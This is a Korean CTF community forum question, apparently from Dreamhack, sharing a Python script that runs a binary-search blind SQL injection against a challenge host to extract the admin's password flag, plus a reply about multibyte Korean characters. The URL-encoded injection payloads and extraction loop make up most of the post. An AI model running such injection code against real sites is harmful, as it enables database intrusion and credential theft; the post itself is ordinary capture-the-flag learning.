이진탐색이 안되는 이유좀 설명해주세요
import os
import requests
URL = "http://host3.dreamhack.games:17636/?uid="
def binary_search(arr,n):
low, high = 0, len(arr) - 1
while low <= high:
mid = (low + high) // 2
mid_value = arr[mid]
BIG = Big(Payload(n,mid_value),mid_value)
if Big("%7D%27+or+uid%3D%27admin%27+and+ascii%28substr%28upw%2C{}%2C1%29%29={}%23".format(n,mid_value),mid_value):
return (chr(arr[low]))
elif not BIG:
low = mid + 1 # 중간값이 타겟보다 작으면 오른쪽 반을 탐색
else:
high = mid - 1 # 중간값이 타겟보다 크면 왼쪽 반을 탐색
return "" # low 반환
def Payload(n,i):
return "%7D%27+or+uid%3D%27admin%27+and+ascii%28substr%28upw%2C{}%2C1%29%29<{}%23".format(n,i)
def Big(PAYLOAD,i):
global URL,answer
print("Payload : ",answer+chr(i))
res=requests.get(URL+PAYLOAD,"")
if "exist" in (res.text):
return True
else:
return False
answer=''
for n in range(1,30):
if Big(Payload(n,126),126):
ans = binary_search(range(32,127),n)
elif Big(Payload(n,50813),50813):
ans = binary_search(range(44032,50813),n)
answer+=ans
print("FLAG : "+answer)
조잡하게 보이실 수 있는데.. 이진탐색으로 blind-sql injection하는 코드입니다.
DH{ 까지는 잘 나오는데,
한글부터 안나옵니다.
그래서 혹시 한글이 아닌가 해서 코드로 해당 문자의 범위를 찾아봤는데,
한글보다 작고 아스키코드보다 큰 범위로 나왔습니다.
뭐가 잘못된걸까요..?
#web
작성자 정보
답변
1
사용자
해결사
한글 문자의 경우 몇 바이트임을 가정하신건지 여쭤볼 수 있을까요? 제가 이해한 위 코드대로라면 1바이트로 설정하고 인젝션 돌리셔서 아마 안 나오는 것 같습니다! ㅎㅎ